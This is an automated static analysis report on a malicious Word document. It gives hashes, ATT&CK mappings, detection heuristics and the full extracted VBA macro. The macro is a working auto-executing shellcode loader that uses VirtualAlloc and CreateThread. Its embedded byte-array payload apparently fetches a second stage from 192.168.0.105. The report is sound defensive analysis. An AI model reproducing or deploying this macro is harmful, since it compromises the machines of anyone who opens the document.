Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9d4d6a9ca5d55cb8…

MALICIOUS

Office (OLE)

36.5 KB Created: 2017-09-22 03:17:00 Authoring application: Microsoft Office Word First seen: 2017-10-10
MD5: 096a0d87795ffdc6ab4e1f94611c06de SHA-1: fad08b92fba5a73edc8a4f41140c3d5b5d17e3d5 SHA-256: 9d4d6a9ca5d55cb81073b523901bd3c4608b010724aac1bc59e5816ab478eb54
206 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample contains VBA macros that leverage the VirtualAlloc API, indicating an attempt to allocate memory for code execution. The presence of the AutoOpen macro and the CVE-2007-3899 heuristic strongly suggest exploitation of a memory corruption vulnerability in Microsoft Word to achieve arbitrary code execution. The VBA script is designed to download and execute a second-stage payload.

Heuristics 9

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Dim Xbulcfljm As Long, Imzjz As Variant, Dluxgxnh As Long
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4363 bytes
SHA-256: 56de337c3eae6b6314c1d1855ffcdcc21d62f5066916118d4ffee0ad2a125d5e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
#If VBA7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Xgui As Long, ByVal Veseibyyw As Long, ByVal Ltx As LongPtr, Ydeqngz As Long, ByVal Oadnrwr As Long, Uamioci As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hlo As Long, ByVal Najbuu As Long, ByVal Nzif As Long, ByVal Vtfxaxsn As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Qrg As LongPtr, ByRef Yyothx As Any, ByVal Rzz As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Xgui As Long, ByVal Veseibyyw As Long, ByVal Ltx As Long, Ydeqngz As Long, ByVal Oadnrwr As Long, Uamioci As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hlo As Long, ByVal Najbuu As Long, ByVal Nzif As Long, ByVal Vtfxaxsn As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Qrg As Long, ByRef Yyothx As Any, ByVal Rzz As Long) As Long
#End If

Sub Auto_Open()
    Dim Xbulcfljm As Long, Imzjz As Variant, Dluxgxnh As Long
#If VBA7 Then
    Dim Bvatjfo As LongPtr, Umvkzpf As LongPtr
#Else
    Dim Bvatjfo As Long, Umvkzpf As Long
#End If
    Imzjz = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, _
83, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 135, 5, 0, 0, 232, 80, 1, 0, 0, 47, 75, 82, 48, 118, 102, 88, 89, 52, 83, 87, 109, 106, 80, 54, 73, 45, 45, 118, 115, 110, 122, 65, 107, 67, 122, 113, 104, 74, 52, 108, 50, 122, 104, 67, 105, 53, 45, 90, 80, 112, 71, 85, 65, 48, 103, 115, 52, 83, 76, 50, 108, 87, 51, 120, 48, _
118, 80, 106, 82, 69, 48, 65, 106, 49, 56, 84, 102, 68, 76, 57, 80, 84, 117, 106, 108, 116, 108, 69, 98, 73, 67, 82, 103, 81, 54, 70, 111, 79, 90, 87, 84, 57, 71, 107, 88, 80, 99, 122, 115, 116, 79, 88, 80, 109, 118, 111, 52, 104, 54, 72, 107, 112, 77, 83, 81, 65, 98, 121, 52, 105, 49, 113, 117, 50, 67, 87, 45, 80, 121, 89, 57, 50, 54, 100, 106, _
77, 89, 67, 82, 95, 114, 53, 84, 106, 83, 89, 115, 85, 84, 108, 112, 79, 97, 112, 76, 72, 101, 65, 82, 95, 107, 75, 83, 115, 51, 114, 84, 69, 122, 119, 119, 119, 77, 112, 95, 103, 48, 82, 122, 49, 120, 67, 72, 117, 80, 84, 122, 79, 76, 78, 50, 0, 80, 104, 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 224, 132, 83, 83, 83, 87, 83, 86, 104, _
235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, 117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, _
88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 49, 57, 50, 46, 49, 54, 56, 46, 48, 46, 49, 48, 53, 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Bvatjfo = VirtualAlloc(0, UBound(Imzjz), &H1000, &H40)
    For Dluxgxnh = LBound(Imzjz) To UBound(Imzjz)
        Xbulcfljm = Imzjz(Dluxgxnh)
        Umvkzpf = RtlMoveMemory(Bvatjfo + Dluxgxnh, Xbulcfljm, 1)
    Next Dluxgxnh
    Umvkzpf = CreateThread(0, 0, Bvatjfo, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

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